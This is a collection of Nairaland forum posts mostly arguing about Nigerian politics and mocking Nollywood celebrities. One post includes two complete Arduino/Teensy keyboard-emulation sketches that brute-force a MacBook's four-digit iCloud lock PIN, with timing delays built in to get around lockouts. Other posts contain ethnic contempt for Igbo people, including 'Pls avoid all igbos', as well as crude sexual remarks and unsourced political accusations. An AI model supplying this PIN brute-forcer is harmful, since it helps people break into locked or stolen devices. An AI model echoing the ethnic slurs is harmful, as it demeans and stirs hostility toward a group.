₦airaland Forum

Shortyy:
omfg!!!! i'm in love!!

Typical naija gold digger.

kristonium:
U now see more reason why God loves Nigeria so much!
We have never experienced some of these natural disasters on a maddening level!
RIP to the dead!
God,have mercy on Nepal!

Earthquakes dont just happen, certain conditions have to exist first. Being near tectonic fault lines, for one.

Surely god doesnt love one more than the other.

I just dont understand some people. This claim that with all the resources at hand, pdp is not supposed to lose bauchi is just plain confirmation of a tendency to rig.

Elections are not exams, whatever resources or ministers and governors a party has in a particular state are immaterial as long as the voters have a different agenda. The people in bauchi wanted pdp out, what could anyone in pdp do?

ERCROSS:
Broh.. Pls define it... What is d meaning of TANoids

Tanoids are PDP supporters suffering from a rare hemorrhoid that makes them go batshit crazy whenever they hear the word "change".

It afflicts mostly jobless people and is a raging pandemic in the southeast, which has the highest number of jobless youths.

Among igbos the symptoms are frothing at the mouth, red eyes, gnashing teeth, and bulging veins. The terminal stage of the disease is jumping into the lagoon.

Pls avoid all igbos.

biafranqueen:
Let APC run the entire country so those cheerleading for change will now see that they've been
Short Changed!
They are already saying change will tell take 100s of years you people haven't seen or heard anything yet!

Even if buhari refuses to lift a finger and just goes to sleep for the next four years, we'll still vote him back.

Anything but jonathan.

One or both will surely end up diabetic.

GudluckIBB:
How come Wema bank has meet it, meanwhile Union Bank has not.....I smell rigging in all of this.

Card reader failed.

To sympathize with my stomach, im trekking from my bedroom to the kitchen.

Booyakasha:
Too many people hate on Gej this days for no reason, forgetting nobody in their entire generation can get to where he is... stop hating guys, he is not even your mate.. some nigerians have this mentality of joining the crowd, i even see some Gej supporters betraying him immediately after he lost.. he is a legend, his name remains on the wall... he has made history, he wasn't even a military dictator that is so thirsty for power everytime (GMB), he stepped down and accepted defeat, the media screws with people's head, they make you believe false things, the media can turn a good man to a monster, the media makes you think being a president means you're sitting in a hot seat, the media tell the most lies... well, i wanted GMB to win, but Gej was/is a Legend.

What exactly did he do that made him a legend? That he conceded defeat isnt a big deal, he'd lost anyway. Sitting tight gbagbo style wasnt an option, not with the mood in the country and the rest if the world.

He did everything to bastadize the elections: using armed militants and security agents to intimidate, bribing influential chiefs and pastors, sponsoring protests against Card Reader and Jega.

In case you're not aware, the phone call to GMB was suggested by General Abdulsalam as a way for GEJ to escape with some semblance of dignity.

Conceding defeat does not erase the following:

Death of job seekers

15000 dead due to boko haram

Chibok abduction

20 billion saga

Diezanis shenanigans

Worsening unemployment

Dropping power supply

Divisive politics

Pension scam

Forgiving alams

Empowering kashamu

Lack of stopping fuel importation

Lack of stopping oil theft

No second niger bridge

Blowing 7 billion or so on some fake conference

Forgiving abacha

South africa arms imbroglio

Stella odua

Orunma etteh

Diezani

Fuel scarcity

Endless farmers and herders clashes

Education

Health

Etc

Chukwugekwu:
another man's business is paining u......

What do i care about pdp igbos and their blindness? I was just making a point.

You are however free to keep waiting for the second coming of the otuoke christ for your bridge to materialize. Every one is entitled to their delusions.

Just pray it wasnt the 2nd niger bridge funds the disgraced clown used to build himself and his fat cow of a wife a nice cozy mansion in otuoke.

barcanista:
Not so fast...That Chino's pictures was fraudulent doesn't mean no work is ongoing. Read the article slowly and tell me whether or not no work is ongoing...

allafrica.com/stories/201503170861.html

If no work is ongoing, then which work was stopped by the Asaba Youths?

The level of the work matters. It could be just a few laborers sweeping 50 feet in either direction that, to you, qualifies as work.

We need photo evidence to judge the level of activity.

Range Rover. The taxi of naija socalled stars.

Ekeeyhandsome:
This is one of the things I hate most about Nigerians.."always too scared to say the truth wen it is needed the most.."

Mr.man,why telling us now?
Since u knew all this and u chosed to remain dumb...shame on u...

blame your ignorance. this man has been ranting against corruption since the stone age, even went to jail for it. you're just hearing him now because his status as a newly elected senator affords him a larger podium.

Gboliwe:
Sorry, but I didn't read past the first line. I don't think I can discuss with you with a mentality like this.

no. you just simply cant deal with the truth. in any case, gmb has won, your patron gej has lost. end of story.

Gboliwe:
You need opposition indeed. What brand of opposition has the opposition been into if not raw hatred? Hypocrisy at its lowest

pdp said gmb will die in office like other northern leaders
pdp said buhari was dying in london
pdp said gmb was brain dead
pdp said boko haram was a northern conspiracy
pdp said apc will islamize nigeria
pdp said apc was a muslim party
pdp said northern presidency should wait
pdp said northerners are against gej because he is a christian and a minority
pdp insulted northers as recklessly spawning children
pdp called northeners almajiri
pdp asked its supporters to stone apc
pdp paid certain pastors to open the gates of hell for anyone opposing the messiah gej
pdp made a documentary slandering gmb and his family, even the dead ones
pdp took daily adverts in papers personally insulting gmb
pdp said apc was funded by IS


apc never called mama piss loud, obnoxious, barren and overbearing; even though she is
apc never said gej was a drunk, nigerians did
apc never said gej was out to christianize nigeria, in spite of his endless church cavorting
fani kayode was the first to call gej clueless
apc never said stealing wasnt corruption


all apc said was "change".

now, who's hateful and divisive?

helpee:
Fayose is the only politician left in PDP that can spearhead a good opposition with time. I was actually shocked when I saw what muazu wrote on twitter. This guy is a confirmed traitor. If fayose can maintain this tempo, regardless of the opinion of nairaland kids, nigeria will be better for it. With muazu, PDP will soon be buried. He will soon lead the NEC of PDP to pledge allegiance to buhari and we need opposition to checkmate APC....fayose, the new face of opposition wether in PDP or another party

We need opposition, not hatred.

Fayose did more harm to pdp than muazu, indeed fayose worked for the apc by making them more popular with each venomous nnewspaper ad.

Wet t-shirt contest.

My fave kind of b00bs though.

Sigh.

*reaches for vaseline*

TohpahzDofC:
Can I see your own nose?

Lolz... I'm sure it's from the camera angle. I've met her personally and seriously, she's so beautiful

TeamTohpahz2015!

She IS beautiful. Im just being silly. My PVC is for her.

Sai Tohpahz!

TohpahzDofC:
Wonderful



Miss Tohpahz = Miss Nairaland 2015

Hell no. Not with that huge nose and those beady eyes.

OREMUSSANCTUS:
Trying to sell d transformation manuals for him
I know Buhari will buy it
We don't nid "change" dis period, we nid som1 to continue d good works of president jonathan




Say no to fake "change"

Say yes to transformation

Come 2019, we gonna change d "changers"

march 28 is long gone. Stop living in the past.

jascon1:
hahah bro me i day find guinea passport as we day talk so o. if u get contact no hesitate o lol

guinea?

Foul!

(pun intended)

jascon1:
they preach panafricanism. they ask us to patronize our own. c omotola for grammy, isnt that a good tim to tie ero n buba? c ebubu with Messi, isnt that a good time to wear beads n ileke n tie wrapper? c wizkid n chris brown, is it not time to present our cultures to the other side? them day groove oyibo groove come say make we kill ourselves for them. go and ask fela or femi how they dressed before oyibo

Erm, but ya signature talk say you don disown ya nigerian identity too nah...

jascon1:
hahaha channel TV was funny. i wont spend my change to buy their movies or music. the funny thing is they say marketers are pirating them, but the products they put out are pirates on their own. so many years after living in bondage, it is still better than many recent films. and they said we are advancing. lol Genevieve is Julia Roberts. Omotola is just posting pics with her maried mother yarsh everywhere. i dont understand what they do in fact

Omotola is running fast from old age, not knowing its a bit like running from zombies: eventually u get tired and they catch up to you.

Anyway i blame her bleachy husband.

Fact: nollywood sucks, the music scene is worse.

Dbanj is content squeezing every bit of juice out of the pulp of past glory.

Psquare are kicking and stomping all over the place like its MC Hammer's 1990s.

Wizkid is too far gone on instagram

Davido cant decide whether he's an artist or a spoilt rich brat living off his father's loot

Tonto dikeh is at the crossroads of soft p0rn and trashy self pity


Don jazzy wants to get an Emmy for coining dorobucci, which is utter gibberish.

i used my Uno R3 with a sketch modified from Teensy and flashed USB keyboard bin to unlock a friend's Macbook Pro's forgotten iCloud 4 digit pin.

The Teensy code is:

const int ledPin = 13;
int counter = 0;

//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
pinMode(ledPin, OUTPUT);
delay(10000);
digitalWrite(ledPin, LOW);
}

void loop(){
keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
if (firstloop >= 5){
delay(61000);
firstcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((firstloop < 5) && (firstcompleted == false)){
digitalWrite(ledPin, HIGH);
++firstloop;
digitalWrite(ledPin, LOW);
}
//lets wait 5 minutes and one second
if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
delay(301000);
secondloop = 0;
secondcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
++secondloop;
digitalWrite(ledPin, LOW);
}
//lets wait 15 minutes and 1 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(901000);
thirdloop = 0;
secondcompleted = false;
firstcompleted = false;
firstloop = 0;
secondloop = 0;
thirdloop = 0;
digitalWrite(ledPin, LOW);
}
else if ((thirdloop < 1) && (secondcompleted == true)){
++thirdloop;
digitalWrite(ledPin, LOW);
}
//lets get to work
if (counter <= 9999){
delay(100503);
digitalWrite(ledPin, LOW);
delay(7049);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(405);
Keyboard.release(KEY_ENTER);
digitalWrite(ledPin, LOW);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}

And the modified Arduino was


#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCloud
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT);
delay(30000);
Mouse.begin();
}
void loop(){
//lets wait 1 minute and 1 second
if (loops == 5){
delay(61000);
}
//lets wait 5 minutes and one second
else if (loops == 6){
delay(301000);
}
//lets wait 15 minutes and 1 second
else if (loops == 7){
delay(901000);
loops = 0;
}
//lets get to work
if (counter <= 9999){
delay(1500);
digitalWrite(ledPin, LOW);
Mouse.click();
delay(800);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[1]);
delay(450);
Keyboard.release(pin[1]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(KEY_RETURN);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
++loops;
fakecounter = counter;
}


since the Uno doesnt have a native HID fucntion, had to flash sbkeyboard and usbmouse sketches. so keyboard_modifier_keys = 0; had to be removed, and KEY_ENTER to KEY_RETURN modified to:

Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(RETURN);


Also, i had to adjust the 'delay(n)' parameter otherwise some key presses were not registered while the counter adds to the loop.

AustineE1:
Marilyn Ogar one of the few women i respect so much,she is a professional to the core,a lady par excellence,distinguished her self among her peers,fearless,bold,courageous,determined and ever meticulous in her ways.
For how long are we going to keep bringing down the best minds we have on the altar of politics and naivety.It cost a lot to train a secret service agent to the level she is and at best,she is like a public institution,she is an embodiment of information and her wealth of 'intelligence' will continously be of great importance to Nigeria.....government is continum and GMB needs her and others around.We must learn to appreciate Nigerians especially Nigerian women who have distinguished themselves in their choosen professions,am looking forward to a day when she will be made the director general of ss,it simply means putting round pegs in round holes.

seriously, there can only be three reasons for your post:

1. You're Marilyn Ogre herself

2. You're hopelessly drunk

3. you're criminally insane.

whatever malady affects you, you've my sincerest empathy.

jascon1:
thank u jare. they are just fooling poor ppl. i watched 30 days in atlanta i nearly cried. n they tagged it the highest grossing. they should seat in the lands that feed them n not take the money out. by the time they convert their money e no go reach anything for hollywood.

like i said, inferiority complex. thy are not proud to promote their culture like every other industry does. instead, they concoct horrendously unrecognizable accents and speak american slangs, as if we dont get enough fake accents from Channels TV.

Nollywood showbusiness machine is less about Show, and more about Business.

conscript them into the army, send them all to sambisa.

jascon1:
imagine omotola at May weather pacquiao fight, but we have Blessing Okagbare who holds a world record n no one attends events she participates in. Bash Ali was routing for support years back no one gave attention. Hollywood stars don't give a eff abt Nollywood. After all these pics n instagram none of them in hollywood will ever cast dem in any of their productions. We made them what they r. Without the fans here they r no stars anywhere. I met Davido in Brazil and my Nigerian brother says to say hello, I refuted. And when he did he got bashed in the face. The guy just snubbed him. But watch him feeling humble before little boys n girls in Brazil. Na ppl way day buy their film sha. If na me Tonto Dike for be Accountant by now. She for don read head scatter

i agree. they parade themselves like anyone outside naija and ghana even knows them. when oprah said the highly overrrated Genevieve was like the nigerian julia roberts the entire nollywood industry took it as some sort of validation that genevieve WAS as talented as julia roberts, or that they were in the same league.

let me let you in on an open secret: you see all those crazy big houses and ridiculously expensive cars they seem to buy every week?

all fake.

what happens is their promoters arrange for rented houses and leased cars, sponsor trips abroad etc. all just to create and perpetuate a false persona of success and riches, such that their endorsements are jacked up, and concert tickets sell for thousands more, since a veritable mob of drooling groupies slobbering at the excess albeit false display of riches and international hobnobbing would pay an arm and a leg to just brag about purchasing a ticket.

the sponsors and agents recoup their investments from the endorsements and exorbitant concerts even where the concert was terrible.

so there you have it. the whole thing is a scandalous arrangee. Nollywood cannot afford to pay for the endless range rovers and bentleys and porches and mansions and diamond encrusted gold iphones and tattoos every other week. not with those igbo pirates at alaba. certainly not with those atrocious scripts, bad acting, mediocre production, and poor equipment.

jascon1:
I would have loved to say, why going to London to useless ourselves with our stupid acts? But I won't say it

Inferiority complex is doing our so called celebrities, always jumping abroad as if they matter there.

Davido in pix with lil wayne
Wizkid with justin bieber
Dbanj with snoop
Psquare with akon
Don jazzy with jay z
Omotola with spielberg


And so on and so forth. They believe such shenanigans put them on equal footing with the american artists. No other country's stars flock the western world seeking recognition like these dolts.

CountDracula:
Bad things just dey happen for lagos these days

Igbos.

barcanista:
Buhari can't be blind to see the pictures of the Almajiri underaged voters that returned him to power.

Pls show us the pix